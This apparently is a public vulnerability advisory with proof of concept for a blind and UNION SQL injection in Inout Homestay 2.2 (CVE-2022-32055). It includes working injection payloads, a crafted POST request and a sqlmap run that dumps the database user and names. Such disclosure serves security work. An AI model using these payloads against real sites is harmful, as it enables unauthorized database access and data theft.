

main

...

CVEs / Inout-Homestay-2-2-sqli.md



bigb0x Update Inout-Homestay-2-2-sqli.md ...

History

1 contributor

82 lines (67 sloc) | 2.32 KB

...

Information

Vulnerability Name : Remote Blind SQL Injections in Inout Homestay
Product : Inout Homestay
version : 2.2
Date : 2022-05-26
Vendor Site : <https://www.inoutscripts.com/products/inout-homestay/>
POC : <https://github.com/bigb0x/CVEs/blob/main/Inout-Homestay-2-2-sqli.md>
CVE-Number : CVE-2022-32055
Exploit Author : Mohamed N. Ali @MohamedNab11

Description

Inout Homestay Version 2.2 suffers from time-based blind SQL injection. POST parameters "guests" is vulnerable to SQL injection attacks. This will allow remote non-authenticated attackers to inject SQL code. This could result in full information disclosure.

Vulnerable Parameter: guests (POST)

Vulnerability: time-based blind SQL injection in guests (POST) parameter. Vulnerable file: index.php

Payload

```
address=3137 Laguna Street&guests=1' AND (SELECT 1769 FROM (SELECT(SLEEP(5)))XPZb) A  
'ADfU'='ADfU&indate=01/01/1967&lat=1&location=1&long=1&outdate=01/01/1967&searchcity
```

HTTP Post Request

```
POST /index.php?page=search/rentals HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Referer: http://vlun-host.com/  
Cookie: currencyid=10; currencycode=BYR; language=2; io_lang_code=es  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Encoding: gzip,deflate,br  
Content-Length: 189  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik  
Host: vlun-host.com  
Connection: Keep-alive  
address=3&guests=-1 [inject_sql_here]&indate=01/01/1967&lat=1&location=1&long=1&outd
```

POC: sqlmap command:

```
python sqlmap.py -r homestay.txt -p guests --dbms=MySQL --banner --random-agent --c
```

output:

```

[1.6.4.6#dev]
https://sqlmap.org

[!] Legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:29:13 /2022-05-26/

[15:29:13] [INFO] parsing HTTP request from 'homestay.txt'
[15:29:13] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0' from file '/root/sqlmap/data/txt/user-agents.txt'
[15:29:13] [INFO] flushing session file
[15:29:13] [INFO] testing connection to the target URL
[15:29:16] [INFO] checking if the target is protected by some kind of WAF/IPS
[15:29:19] [INFO] testing if the target URL content is stable
[15:29:22] [INFO] target URL content is stable
[15:29:24] [WARNING] heuristic (basic) test shows that POST parameter 'guests' might not be injectable
[15:29:27] [INFO] testing for SQL injection on POST parameter 'guests'
[15:29:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:29:52] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:29:56] [INFO] testing 'Generic inline queries'
[15:29:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:30:08] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:30:08] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[15:31:00] [INFO] POST parameter 'guests' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

[15:31:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:31:13] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:31:13] [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s)
[15:31:13] [WARNING] most likely web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for a few minutes and rerun without flag '-T' in option '--technique' (e.g. '--flush-session --technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-sec=2')
[15:31:57] [INFO] target URL appears to be UNION injectable with 14 columns
[15:32:09] [INFO] POST parameter 'guests' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'guests' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
---
Parameter: guests (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: address=3137 Laguna Street&guests=1' AND (SELECT 1769 FROM (SELECT(SLEEP(5)))XPZb) AND 'AdFu'='AdFu&indate=01/01/1967&lat=16&location=16&long=16&outdate=01/01/1967&searchcity=San Francisco&searchstate=NY
  Type: UNION query
  Title: Generic UNION query (NULL) - 14 columns
  Payload: address=3137 Laguna Street&guests=1' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71717a6b71,0x7266704a584f4c71686b4f5a50507059647a78547072726a4c57784f535a716a5845446351717341,0x7178627a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&indate=01/01/1967&lat=16&location=16&long=16&outdate=01/01/1967&searchcity=San Francisco&searchstate=NY
---
[15:32:23] [INFO] the back-end DBMS is MySQL
[15:32:23] [INFO] fetching banner
[15:32:23] [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s)
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '5.7.38-0ubuntu0.18.04.1'
[15:32:38] [INFO] fetching current user
current user: 'root@localhost'
[15:32:40] [INFO] fetching current database
current database: 'inout_homestay'
[15:32:43] [INFO] fetching database names
available databases [50]:
```

Timeline

- 2022-05-03: Discovered the bug
- 2022-05-03: Reported to vendor
- 2022-05-22: Advisory published

Discovered by

Mohamed N. Ali

@MohamedNab11

ali.mohamed[at]gmail.com